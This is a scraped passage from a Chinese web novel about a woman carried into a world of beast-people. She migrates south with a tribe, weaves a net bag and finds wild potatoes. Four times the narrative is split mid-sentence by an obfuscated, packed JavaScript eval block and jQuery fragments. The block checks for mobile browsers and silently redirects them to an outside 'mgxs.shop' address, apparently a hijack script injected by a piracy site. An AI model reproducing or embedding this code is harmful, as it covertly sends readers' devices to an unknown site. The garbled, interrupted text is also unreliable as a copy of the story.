;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228595|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地上的野葱、蒜叶和姜叶。“至于其他的,我们不认为他们能够消化。”
好嘛,纯挑食来了。林千平暗自腹诽,全然忘了自己也接受不了直接吃葱蒜。
“那这怎么办?”她看看分好的植物,心里有些痒痒的。野菜烫烫就能吃,调味料用来烤肉也不错,要能挖来蒜和姜就更好了。
“食草兽人会尽量晒干它们,作为路上的应急粮食。”卓娅回应了几声远处的呼唤,又补充道:“你想要可以尽管吃,但别吃太多。记得好好休息,一会儿会有人来给你看伤。”她检查了一下林千平的伤口,随后便匆匆离开了。
石锅里的汤已经被舀干,重岚婆婆给林千平留了一碗,里面还有几块碎肉。“快吃吧,你做得很好。”她笑眯眯地抱走大多数牧草拿去晾晒。
肉汤有些油腻,没多少咸味。芜箐叶还算清爽,林千平把汤囫囵倒进肚子里,放下碗对着野菜发起愁来。
……他们好像,没什么盐啊?
林千平最终只把调味料留了下来,野菜现在不吃的话,还是晒干了比较好。
图姊也在石头上帮忙翻晒牧草,太阳此时已经升起,阳光还未变得灼人,正暖暖地打在每个人身上。
“你和我来一下。”林千平被图姊叫住,放好野菜就默默跟着她走到一顶帐篷跟前。
图姊从帐篷里掏出装有草药的包裹,招手让林千平来近前坐下。
“我叫图姊,昨天是我给你上药的。”她的声音很好听,清新又柔和。林千平随着她自然的动作,低下头乖乖让那双灵巧的手解开伤口上的兽皮。
图姊拿出来的像是蓟草,捣烂或研磨后可以止血消肿。额头上残留的草药被轻轻拨开,林千平有些疼痒,眉毛向上挤了挤。
“别动哦,你伤得不严重,已经不流血了。”图姊应当是部落里专门的“医生”,很快就替她换好药,哄小孩似的安慰道:“乖乖,再过几天就好了,头还会疼吗?”
林千平现在的身体大约是二十来岁的样子,她把握不好这个世界的年龄标准,只能硬着头皮接下这个哄小孩似的称呼:“不疼了,谢谢你。”
“明天我们可能要继续上路,要是有什么不舒服的地方,一定要告诉我,好吗?”图姊抓着林千平的双手,神情认真地嘱咐她。
“好的...呃,我们要上哪儿去呢?”
“我还不太清楚,等晚上首领应当会告诉大家吧。”
林千平见她没有要去忙其他事的意思,急忙抓住机会继续追问:“要去找新的住所吗?”
“不知道,有些人其实更想回到家乡,他们觉得说不定还有家人在那里。”
“那为什么...”为什么不回去呢?
“很多部落都被洪水冲散了,回去的路上还有一条巨大的裂缝,我们走了好多天也没找到能回家的办法。”图姊仿佛听懂了林千平未尽的话语,不紧不慢地回答她。
林千平顿时沉默下来,图姊放她自己呆着,随手整理起药材。
半透明的对话框被反复唤起,又被不停关闭。
共同迁徙...是和他们一起吗?
21. 兽人
林千平伤得确实不重,会晕倒大约还真有克西的功劳在。图姊给她换了个带着斑点的漂亮兽皮,她就这么顶着新造型在营地里晃来晃去瞎溜达。
留在营地的青壮年不多,基本都聚在老人们身边学习鞣制兽皮,或是在一边忙着制作帐篷。
早上见过的那堆毛耳朵少年们也不见踪影,只有还保持着原型的小动物们在互相打闹。那个笑容腼腆的男人就在旁边照看着它们。幼崽的数量不多,狐狸、黑熊、雪兔、猎豹,还有叫声亮丽的梅花鹿,一样一只,一个人倒也能顾得过来。
林千平转了两圈,脑袋上包着的兽皮太过抢眼,没人敢让她帮忙干活。还是重岚婆婆又把她拉到身边,教她在兽皮上扎出小孔,再用骨针缝合起来。
所有人工作时的气氛就像是已经在一起生活了很长时间一样,他们聊着天气、食物、身边谁和谁的关系怎么样了,猜测哪个小崽以后能长得更加强壮......灾难和离别没有打倒这些乐观的兽人,又或许他们早就习惯了这样充满动荡的生活,才会如此阳光地享受每个愉快的当下。
林千平插不上话,但总会适时地做出讲述者最期待的夸张反应,这让气氛变得更加融洽,等到中午做饭时,她已经能和不少人打上招呼了。
午饭还是煮肉汤,不过肉多一些,野菜仍是放得满满。林千平喝着又淡又腥的汤水,有些后悔没能申请跟着去采集植物,至少能挖些姜蒜回来祛祛肉腥味。
这会儿人少,每个人都能分到碗用,这碗有用木头掏的也有用石头凿出来的,林千平拿到的大概是哪个爪子锋利的兽人挖出来的木碗,碗边和碗内布满道道抓痕,歪出来的木刺还有些扎嘴。
只是现在他们前途未卜,连基本饮食都快难以保障,林千平虽然知道点制陶的门道,也不可能在这个时候拿出来尝试。
周边的猎物基本都和她见过的那群角马一样,正在大批量往南迁徙。这并不符合兽人们观察的规律,想来应当是天灾激起了动物们的逃生本能,全都不约而同地想要远离那片开裂的大地。
缺盐、缺粮,甚至还缺睡觉的帐篷,习惯长期打算的现代人林千平焦虑起来,嘴巴一抹又继续干活。
手上不停忙活,脑袋里仍旧不受控制地飞快思考着。午饭时他们用的是块状的岩盐,只用石刀轻轻刮下一层表面而已。草原上可能会有盐湖,食草动物也能通过嗅觉寻找到含盐丰富的盐碱地或矿石,现在如此缺盐,或许也和部落暂时无法分出人手去寻找有关。
营地里留下的年轻人除了干活,最重要的任务其实是保护老幼、看管物资,每天还得有人保持警戒、出门狩猎和采集,要维持这么个大家族的运作,所有劳动力都已经被用上了。
大约还不到十分缺盐的地步,她不再过多思考,转而又想起前进方向的问题来。
忙活到半下午,林千平也只缝了一半的皮子,期间还自己忙活着烧了点水喝。主火堆旁围着石块,大家都会注意着随手添柴,好让火能从早烧到晚。
林千平实在喝不了生水,最后干脆坐在锅子旁专门看顾着,用烧好的水把空碗全都满上了。
“嗷吼——”
一声凶猛的虎啸响起,吓得林千平差点把石锅脱手扔出去。分散在树荫下的兽人们立时活泛起来,几个年轻些的都兴奋地站起身往声音传来的方向跑去。
林千平用发烫的手指捏着耳垂,也探头探脑地在后边看着。不多时,就见几人一起抬着两只体型较大的羚羊回来,克西领头走在前面,兴高采烈地冲营地里的人打招呼:“图姊!千平!我抓到羚羊了!”
这些机警又敏感的动物是最先离开这片土地的种族之一,克西昨天捕猎角马的时候,刚好碰到一小群还滞留在附近的羚羊。只是当时已经抓到猎物,又遇到了林千平,她只能记住大致方位,今天一早天还没亮的时候就跑出去追踪它们的下落。
羚羊的味道要比角马好上不少,皮毛也更厚实柔软,适合做成衣服或包扎伤口的绑带。所有人都很高兴,纷纷动手开始处理这两只猎物。
克西一屁股坐在树荫下,开心地看着其他人剥皮切肉。林千平给她端来一碗还有些温度的熟水,里面加了几段甘草根煮开,那是她从半干的牧草里翻出来的。
“嗯?甜甜的!你从哪找来的泉水?你出去了?”克西放下碗,有些紧张兮兮地抬起她的手脚检查有没有受伤。“不是不是,我加了草根...喂你别抓我脚心啊...”林千平缩起身子笑着,翻了两下躲开克西的手,重岚婆婆过来查看兽皮,正好听到她们的对话。
“草根?食肉兽人能吃得了吗?克西,你没咽下去吧?”这下便又换成克西被掰开嘴巴接受审查,她张着个大嘴啥也说不出来,呜呜地挥手要林千平救她。
林千平拦住就要给人催吐的重岚,急忙解释道:“不不不,我就加在水里煮了一下,没给她盛到碗里呢。”这锅甘草水是最晚煮的,营地里干活的人都没来得及喝上就去处理羚羊了。
重岚的原型是匹枣红色的骏马,她的群马部落就在草原边缘,几乎都以植物为主食。而只用草根煮水来喝在她们那里简直是难以想象的事——毕竟食草动物的胃完全可以消化掉那些粗糙的纤维。
“这样,这样啊...”她若有所思地放开克西,自己跑去石锅边尝味道了。
林千平找到的甘草根其实并不多,应该是兽人们拔草时偶然带出来的。野外很难获得带有明显糖分的东西,大家对甜味的敏感度要比林千平高上不少。
所有人都默契地只咂摸了一小口,石锅里还剩下大半罐汤水,大家不约而同地想把这水留给外出搜集食物的成员们。
卓娅领着的采集队又带回来不少植物,林千平第一个冲去翻找,差点被倒了一头的杂草。
植物的种类没什么变化,芜箐叶少了些,牧草占的比例更大了。林千平抓准时机拦住卓娅,向她请求加入采集队被回避后,只能描述了大蒜和生姜的根茎模样,要她告诉其他人下次若是见到了,千万得挖些回来。
卓娅虽然不明白为什么,但也没有拒绝这个请求,她看起来心情不算太好,匆匆忙忙地又去安排其他琐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228596|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事。
长着耳朵和尾巴的少年们不久后也回来了,林千平这才发现,他们的原型竟然是一小群毛色相近的灰狼。小狼队由一位黑灰色渐变长发的高大女人领着,他们带回来三只角马,还有若干田鼠和野兔。
这样的收获还算不错,食草兽人多吃些植物也没事,今天的收获还能省下些肉做成路上的干粮。
小狼们喝到了带着甜味的水,又都叽叽喳喳地围在林千平旁边七嘴八舌地要和她聊天。林千平手里分着植物,被几个比自己还高的孩子挤在中间,耳朵里全是嗡嗡的人声,总有一种进了哪家大型犬咖啡厅的错觉。
吃晚饭时,林千平坚持在自己的肉串上绑了几把葱叶和蒜叶。她虽然不喜欢这些调料的口感,但是能接受它们的味道。羚羊肉细腻了不少,咸味还是淡淡的,但新鲜的肉加上葱蒜祛腥的功能,这倒成了她来此地吃过的最美味的一餐了。
兽人们嗅觉灵敏,葱蒜烧烤过后产生的奇异气味令不少食肉兽人频频侧目。克西胆子最大,从林千平手里要来一串就要尝尝味道。林千平赶忙扯下肉串间的草叶,让她就只把肉吃了。克西豪爽地一口撸完焦香的大肉块,边吃边不住连连点头:“好香好香,这草是你们新找来的吗?”
众人都被她的反应逗引得更加好奇,食草兽人们已经闻出这些植物的种类,跑去拿来不少分给在场的其他人。卓娅吃着新式烤肉,神情终于微微放松下来。
饭后,除了负责警戒的人外,其他兽人都被要求聚集到主火堆边。
卓娅站到一块高些的石头上,向大家宣布了最多只能再在此处扎营一天的决定。周围的动物迁徙的迁徙,逃跑的逃跑,食草原型的兽人虽然可以把植物当作主食,但事实上并不能完全脱离肉类生活。这片区域里没有多少食肉兽人能吃的植物,他们也不能确定大地是不是还会开裂,无论如何,现在都已到了决定到底该往哪走的时候。
是继续向西或向东寻找回家的路 ,还是往南移动追上猎物,另寻它处过活?
“想回家的人,请站起来。”数量不多,零零散散。
“那想去南方的人呢?”压倒性的人数站了起来,林千平坐在原地一动不动,被四周的长腿围了一圈。只要能跟着他们迁徙,她倒无所谓往哪个方向前行。
“对不起。”卓娅向那些想回到家乡的人道歉:“我也将选择前往南方,假如你们有谁仍然想要回家,我们会为你们提供食物和帐篷。”
短暂的沉默之后,几名食草兽人站了出来,有老人,也有年轻人。他们只要化成原型,即使只吃植物也可以活上一段时间。卓娅带着他们去领物资,林千平心绪复杂地注视着几人的背影。他们当中有些人刚刚才和她熟悉起来,下午还曾一起愉快地聊过天。
随时可能降临的灾难、短缺的食物、难以跨越的天堑,都无法打消他们对家的思念。
思及此,林千平似乎有些理解他们的心情了。
她在心里默默祈祷,希望这些渴望归家的人们都能得偿所愿,回到家乡。
她也一样。
22. 兽人
隔天,林千平干劲十足地跟着上路了,昨晚任务框里的描述从“共同迁徙(0/3)”变为了“[南方]共同迁徙(1/3)”,这说明她的任务对象的确就是这些由兽人们聚集而成的原始部落。接下来大概只要在路途当中再吸纳两个这样的组织一起抵达南方,任务应该就能完成。
林千平对如此清晰明了的任务轨迹表示非常满意,想来是上个世界里和谐而又文明的辱骂起了作用,这任务的难度一下就降低了不少。
果然,玩游戏就是得骂策划才有用呀!
兽人们脚程很快,林千平的这具身体要比其他人更弱一些,慢慢落在队尾附近。行李大多都被绑到了原型力气较大的食草兽人身上,克西和部分食肉兽人们则需要在队伍前后保持警戒、提前探路。
年老的兽人也已经无法化成兽形,但体力仍比林千平要好得多,重岚走在她身边,有些心疼地照看着她:“千平,你去克西身上坐会儿吧。”比普通老虎还要大上几圈的克西正好换班到队尾,硕大的虎头闻言便顶顶林千平的身体,示意自己非常愿意带着她走。
林千平看看落下的距离,只得点头同意。她爬上克西的后背,还好昨天顺手做了个简单的裤衩,这会儿才不至于被老虎粗糙的毛发扎到屁-股。
她刚稳定好身体,就能明显感觉到队尾的速度立刻提升不少,很快就缩短了与前方队伍之间落开的空隙。林千平不好意思地把额头抵在克西的脖子上,试图遮住发烫的脸。
队伍几乎不怎么休息,只在最热的时候停下来吃了干粮。
他们走的路线已经由两个兽人提前探查过,因此顺利地就找到了水源。大家没有要生火的意思,林千平只能尽量无视水里的漂浮物,捏着鼻子喝下几碗水。
兽人们抓紧小憩了一会儿,直到阳光不那么强烈时才再度出发,林千平仍被要求由克西驮着上路,所有人似乎都默认她应该受到这样的照顾。林千平也不想耽误大家的行程,干脆就在克西的身上撮起草绳来,这样多少还能创造些价值,不至于闲呆着没事浪费劳动力。
一路上看不到其他动物,偶有几只鸟从头顶飞过,也不曾发出叫声。这片草原像是失去了所有鲜活的血液般,沉默地注视着他们的离去。
队伍避开了最晒的日头,此时太阳已经偏西,晚霞把天空打成漂亮的橘红色。林千平搓好一小捆草绳,又费劲巴拉地编了个简易网兜,歪歪扭扭的,也不知道怎么收口,大概最多只能装装木碗罢了。
有几只小狼换班休息,从队头一路跑来克西旁边,互相追打着咬尾巴玩。
两只全身都是银灰毛色的小狼把另一只棕灰配色的扑倒在地,挨个去咬它的嘴筒子。那只小狼发出呜嗷呜嗷的叫声,克西路过纠缠在一起的三个毛团子,一狼赏了一个实心巴掌。
另三只没参加玩耍的小狼变成人形,其中就有那个活泼的双麻花辫姑娘,他们正好奇地看着林千平手上怪模怪样的网兜子。
“阿克拉,那是什么?”麻花辫姑娘拽拽旁边黑色头发的男孩,问道。
名叫阿克拉的少年仔细打量了一番,故作老成地回答她:“是好看的东西,就像木里瓦妈妈经常戴在头上的羽毛一样。”
乌伯塔似懂非懂地收回手,更加迷茫地看着林千平手上的东西。那东西也不好看啊,千平的部落难道抓不到漂亮的飞鸟吗?
跟在他们身后的乌利亚听到对话,干脆直接朝坐在克西背上的林千平问话:“你手上的是什么?”
林千平还在回忆可以伸缩的绳结要怎么打,就听见一道有些不客气的声音。
她转头去看,一个长发披在肩头的男孩眼睛正一眨不眨地盯着她手里的网兜。他的头发也是黑灰渐变色,林千平多看了两眼,没计较他的语气,一边在脑袋里想象他变成狼时的毛发模样,一边回答他:“是网兜,可以用来装东西,但必须是比这些洞更大的…”她正想拿木碗举个例子,却没想到那少年听了这回答,突然头也不回地就往前跑走了。
乌伯塔也听到了林千平给出的解答,立马朝阿克拉叽里咕噜说起自己的想法:“我刚才就觉得不好看,千平是筎萨,筎萨很聪明,她肯定知道好不好看... ...我妈妈也会做草绳,但是我没见过她...”
话题不知怎么的就转到令她伤心的地方上来了,乌伯塔越说声音越轻,也不再拽着阿克拉的手臂,自己低着头默默往前走着。阿克拉察觉到女孩低落的心情,手忙脚乱地想要找些什么新奇的东西逗她开心,急得表情都慌乱起来,他最怕乌伯塔哭了。
好在,去而复返的乌利亚让乌伯塔的注意力转移到他身上,具体一点地说,是转移到了他怀里。乌利亚正抱着迷迷糊糊一脸茫然的短腿小豹子,朝着林千平举起来,要她把小豹子装进网兜里试试。
小豹子才四个多月大,此时被掐住腋下高高举着,尾巴垂在身后不时甩动,情绪十分稳定地打量着四周。
林千平好笑地抱过这位小辛巴,撑开网兜让它钻进去,小豹子的四肢便从网洞里伸出来,脑袋搭在边缘处,像袋小猫似的被拎了起来。
林千平笑得像个开了震动的破手机,乐了半天差点从克西身上翻下去。她又用手护着上下提了提,意外发现这个网兜的承重能力居然还算不错。
三个小狼见状高兴地发出欢呼声,把走在克西前面的另外几只小狼也吸引了过来,大老虎身边顿时被围了个水泄不通。
克西好奇得要命,却也只能先当个合格的大人,把这群捣乱的小鬼都驱赶回前面的队伍中去。脚步随即更快了几分,恨不得立刻就跑到预定的扎营地点,让林千平好好和她说说到底发生了什么。
看管幼崽的那个男人这会儿跑了过来,他热得满头大汗,白皙的双颊泛起大团红晕。他胸前的兽皮里鼓鼓囊囊地塞着一只小雪兔,这两只小崽都没有亲人,只能由他看顾着。克西走在队尾,即使老虎身形庞大,威猛异常,也确实没有队中安全,林千平便把舒服地呆在网兜里的小豹子递还给他,有些不好意思地替那只小狼道歉。
男人神奇地看着这个兜兜,两手举着这袋毛茸茸就回去了。
不知不觉中,太阳已经完全落下。队伍没有停留,借着明亮的月光仍在前行。他们很快便赶到一处聚集着几棵树和一些灌木的落脚点,所有人纷纷卸下并不算太多的行李,准备在此扎营休息。有几人拿着容器前去打水,更多的人则在帮忙捡拾柴火、支起帐篷。
林千平和克西合力搭好一顶帐篷,这将是林千平晚上的住处。尽管克西可以变成原型在外头睡觉,但若是下雨,就得到帐篷里挤挤了。他们赶工的成果还算不错,至少绝大多数人都能在帐篷里避雨,但要想都躺下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228597|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睡觉可能就不太够了。
卓娅正在火堆旁和小狼队的队长阿祖雅讨论接下来的行程。他们的食物保存得不好,很多早些时候打来的肉烤得不够干,已经开始有变质的迹象。
今天这些肉都要被吃掉,明天食草兽人就必须只吃牧草,把肉留给食肉兽人们。最少还需要两天他们才能追上迁徙的大队动物,尽管这些食物还算不上匮乏,但计划被打乱的焦虑感还是令卓娅忧心忡忡。
林千平呲牙咧嘴地啃完角马肉干,只感觉自己嘴里每个缝隙都卡上了肉丝。她疲惫地长叹一口气,放弃了挑牙的想法。
从一个没有抽水马桶的世界,又来到一个连厕所都没有的地方,还能有比这更糟糕的事吗?
老天奶奶,您到底想要我怎样啊!
“千平千平,这就是你做的...呃,什么东西来着?”克西手里拿着那个粗糙的网兜,凑到生无可恋的林千平眼睛底下翻来覆去地摆弄。
“网兜,装东西用的。”林千平有气无力地回答她,身体虽然不累,精神上却已经被重重打倒,她现在就是个被抽干灵魂的活死人,没多少精力多做什么解释。
就让他们以为这也是天赋的一部分吧。林千平一动不动地躺在半块兽皮上,透过树叶的缝隙看着漫天闪耀的繁星。
“千平,你好厉害啊。”克西挨着她也躺下来,崇拜地夸赞道:“这也是你的天赋吗?还好我把你吓晕了!不对,我不是这个意思... ...”接着又嘟嘟囔囔地解释着。
林千平注意到她一激动就说个不停的小习惯,不由自主地就想起另一个同样话多的人来。
未经污染的天空上,所有星星都挤在一起错落闪烁,这景象既熟悉,又令人陌生。
林千平分不清这是不是地球上的那片星空,她连北斗七星都认不出来。但这并不妨碍她借景思情,想念起那个同样喜欢说话的朋友。
王清虞正在草原上奔跑,她觉得世界上再没有比自己更倒霉的人了。
在这个原始得连厕所都没有的世界里生活已经足够让她一天崩溃十次,现在还得大半夜不睡觉地赶路追踪猎物,她恼火得连气都喘不匀了,呼哧呼哧地停下来歇息,气急败坏地跺着脚朝月亮猛猛大喊了几声。
“呃啊啊啊啊啊啊啊啊!”
"要死啊啊啊啊啊!!!"
林千平睡得很不安稳,后半夜总是睡睡醒醒,日出时分终于深睡了一会儿,忽地又被几声怪叫炸醒。她睁开眼反应了几秒自己在哪,随即顾不得头疼,掀开帐篷就跑出去想要察看情况。
帐篷外躺着克西,晨露令她的毛发微微变潮,一片一片地分了层。她躺在地上使劲伸伸四肢,又打个哈欠,这才爬起来变成人形和林千平打招呼。
“千平,你醒啦?哦,我们也差不多要上路了。”说着便动手收拾帐篷。
“你没听到叫声吗?”林千平四下张望,兽人们陆陆续续地起床,没有人露出惊慌的表情。
克西一块一块拆着兽皮,茫然地摇头:“没有,什么叫声?”
林千平随口敷衍几句,狐疑地看向远方。初升的太阳带来温润的暖意,潮气都被一一晒干,四周只有他们收拾行李的声音,树丛后的草原静谧而又祥和。
如果不是她半梦半醒间的幻觉,那到底什么东西能叫成这个鬼样子?
23.兽人
草草吃了干粮,马上就要启程。克西和林千平仍要走在队尾,她们倒也不急,四处帮忙把行李放到各式各样的动物身上。
林千平相帮着在一只牦牛背上绑好几个帐篷,转过头正想找找克西在哪,就被负责照顾幼崽的丙恩叫住:“千平,你快看!”
林千平仔细看去,发现他正一边一个地用网兜挎着小豹子和小雪兔,两个小朋友似乎还没睡醒,都在网子里四仰八叉地窝着。
这两个网兜看起来比她做的要精致得多,网眼也小了些,就连草绳都比她搓出来的更紧实细致。林千平还未说些什么,丙恩就把她做的那个粗糙扭曲的网兜递了过来,里面还装着一捆草绳。
“谢谢你,千平!这个兜兜真的很好,很凉快!”丙恩个子很高,此时微微弯着腰朝林千平说话,有几缕乱跑的头发从两边垂下,稍稍挡住了他那双高兴的灰色眼睛。
“呃,不...这个其实还可以装别的东西,碗啊果子啊什么的......”林千平有些受宠若惊,赶忙接过自己乱七八糟的杰作想要藏起来,临了还不忘提醒几句网兜的正确使用方法。
她担心小幼崽们被装在这里面太久会不舒服,便又多问了几句:“重岚婆婆他们也能抱着幼崽们走吧,为什么不找他们帮忙呢?”
丙恩再次露出那个清俊而腼腆的笑容,语气自豪地说道:“他们两个晚上睡觉的时候还好,白天要是离开我太久,那就该闹个没完了。”
看得出来,他对自己的工作非常有成就感。能帮上他的忙,林千平也很高兴,于是又找人要了一大把干透的长条牧草绑在腰间,誓要在今天把草编篮子也给做出来。
负责携带牧草的是几位牛羊兽人,他们看着这个连兽型也没有的筎萨小姑娘要去那么多干草,全都哞哞咩咩地提醒她这种粗糙的草吃多了要肚子疼的。林千平听不懂他们的担心,连连道谢后就跑回克西身边,只留下几只动物奇怪地面面相觑。
林千平在小学时跟着阿婆学过编草篮子,她们家附近竹子更多,后来就只做竹编用来换钱了。
要是能穿越到竹林边上该多好啊,竹筐、竹篮、火笼...光簸箕她都能编出好几种样式,哪还需要用什么兽皮装东西啊。她循着模糊的记忆和手里的干草较着劲,磨了一上午才编出个平平的篮底。
中午歇脚的地方是几株枝叶茂密的矮树,这些树稀稀拉拉地四散在地上,中间隔着不远的距离。
林千平和克西坐在树荫下吃着有些变味的干肉,旁边还坐着刚替她拆了兽皮的图姊和几名食草兽人。林千平的伤口已经开始结痂,没有感染的迹象,也就不再需要敷药。
肉的味道很差,但屏住呼吸也还算能勉强咽下。林千平忍着马上要干呕的欲望,像吞药似的把肉撕成小块咽了。
真的要收回对着个任务的好评了,她眼含热泪地在心中友好问候着发布任务的这位不知道有没有家人的策划者,干脆揪了个杂草嚼巴嚼巴清清嘴里的味道。
食草兽人们通常只在赶路时吃干草,牧草味道不好,即使是他们也更愿意吃些新鲜的其他植物。停下来休息的时候,他们总会在附近找些适口的食物换换口味。
林千平实在吃不下肉干,随手把剩下的都塞给克西便跟着那几个食草兽人往草丛里走去。克西嘴里塞着肉,呜呜叫着也追了上来。
他们转了一圈,找到些蔫巴的野菜。林千平被晒得头晕,正要打道回府时,有个熟悉的绿色身影突然从余光掠过。她急忙定睛去看,脚下越走越快,最后小跑着急停在那片植物面前,差点跪倒在地上给它们磕个响头。
这些植物面积不小,但正好藏在一片比较高的草丛里。林千平没去管顶上长着的叶子,转而动手挖起土来。
克西一直紧跟着她,自觉地蹲了下来帮忙刨土。没挖两下,林千平便揪住已经松动的植物,向上拔起,左右抖下泥土,小小的黄色果实就滚到克西身旁。她捡起那些半个巴掌大的小东西,使劲嗅嗅气味,不明所以地问道:“这是什么,能吃的吗?”
林千平已经激动地站起身,向不远处的兽人们挥手示意,完全顾不上回答她的问题。
她情绪高涨,行动力十足,直到挖光了这片野生小土豆,克西才抓回她的注意力:“千平,千平!”林千平催促着其他人抓紧把土豆装起来,一边插空搭理克西:“怎么了?你快装快装。”
“塔维刚才说这种植物容易把人吃坏啊,你装这么多能行吗?”克西莫名其妙地被她的情绪感染了,也不由自主地往兽皮袋子里装起这些果实。林千平头也不抬地回她:“怎么会?这可是谁都能吃的主食啊!”
林千平扎好口袋,兴奋地扛在肩上往树荫走去,感觉自己像是丰收的农场主一般快活。
他们一共挖来三袋个头不大的野生土豆,林千平让其他人都去休息,自己一个人吭哧吭哧把所有绿了或长芽了的果实都挑出来专门放在一个口袋里。
发芽的土豆有毒,土豆叶子实际上也有毒素,食草兽人们大约还没摸清它们的特性,才会对这么个宝贝敬而远之。
下午就要启程之前,卓娅来到了他们这块树荫下。林千平的动静闹得不小,她虽然也知道这种植物的毒性,但林千平辨认植物的天赋令她不得不对这些黄色果子另眼相待。
“把它们放到我背上吧。”卓娅说道。她的原型是巨牦牛,比一般的牦牛还要大上几分,不光驼了好几个帐篷,还带着大量牧草。
林千平一路上都心情极佳,时不时就要发出几段诡异的笑声,甚至还趴在克西身上紧紧抱了她好几下,草编篮子也被丢在一边,就等着晚上扎营时美美吃上烤土豆了。
只是今天似乎走得格外长久,月亮已经出来了好长一段时间,他们仍在向前赶路。林千平约摸着大概九、十点钟,前面的队伍才逐渐慢下来,最终停在几块大石附近。
林千平捧着激动的心甩着颤抖的手,跟着捡来不少柴火,全程围在火堆边等待明亮的火焰升起。
她已经在地里埋进土豆,又拿来其他个头较小的准备直接放
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231008|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在火上烤着吃。她用削尖的树枝串起一溜一口一个的小土豆,守在一旁期待地不停吞咽口水。
其他同样聚在这个火堆边吃饭的兽人被她狂热的态度所震慑,就连聊天说话的声音都轻了下来。
隔壁几个火堆的兽人们也都立着耳朵注意着这边的动静,食肉兽人对筎萨的能力崇拜异常,只等着林千平再发明些他们也能吃的新食物出来;食草兽人多是将信将疑,绝大多数人都不太同意她的说法,现下只是期待这件事最终的结果而已。
树枝上靠前的土豆逐渐变软,表皮慢慢炸开,露出粉糯的内里。林千平摘下几个快要裂开掉进火里的土豆,掰开其中一个,意思意思吹了吹发烫的果肉,随后迫不及待地用门牙啃下一些尝尝味道。
寡淡、柔软但是无比熟悉的味道鼓励着她一口一口吃完这颗金子般的小土豆。
她吃得虔诚,近乎热泪盈眶,感动得鼻涕泡都差点冒出来。林千平擦擦湿润的眼角,把熟了的土豆挨个分给在场的其他人,要他们也试试味道。
克西经过这两天的见识,对她的任何决定几乎称得上无条件信赖。她学着林千平的样子剥开沾着灰土的外皮,朝里面漂亮的果肉使劲吹了好久,才慢慢小口小口品尝起来。
这果子没什么刺激气味,尝起来湿润,吃多了却干巴。克西觉得虽然比不上肉好吃,但至少比起其他绿叶植物来说,味道要好多了。
林千平小心挖出火堆下埋着的土豆,用树枝叉起一个查看熟度,这一枚个头有半个巴掌大,但在火里埋了快四十分钟,也早就熟透了。当天晚上,所有人都分到了一颗或大或小的黄色果实,食肉兽人觉得味道一般,但也算占肚子;食草兽人吃得谨慎,有些甚至偷偷藏了起来,不敢尝试。
林千平见状,凑到吃完土豆的卓娅身边悄悄耳语几句,卓娅便挂着些笑意站起身来向大家说明情况:“千平说,这种‘土豆’只有发芽或是外表变成绿色的果实才是有毒的,叶子吃多了也会不舒服,这些黄色的果子是可以吃的。”林千平见她把自己供了出来,蹲在地上急得要去抓她,手在空中挥了两下又收回来捂住脸,就这样保持着怪异的姿势默默挪回克西身边。
克西沾了林千平的光,多吃了她剩下的半个土豆,又随便吃了几串肉就把自己塞饱了,比平时吃少了的大老虎闹不明白是怎么回事,闷闷不乐地啃着指头粗的树枝磨牙。
林千平问她怎么了,她才忧郁地说出自己的烦恼:比昨天走的路更长,吃得却更少,她是不是要生病了?
“这土豆是比其他植物更饱肚子一点,你没感觉出来吗?”
“是这样吗?...那你再给我尝一个呗。”克西咂咂嘴,挤到林千平旁边看她拿着的口袋。
“这边半袋是发芽不能吃的,你别动啊...”
虽然没多少份量,但也算是节省下了一些粮食,卓娅隔着火堆看向在和克西聊天的林千平,没来由地就从心中升起一阵好运将至的预感。
明天应当会更加顺利吧?她想。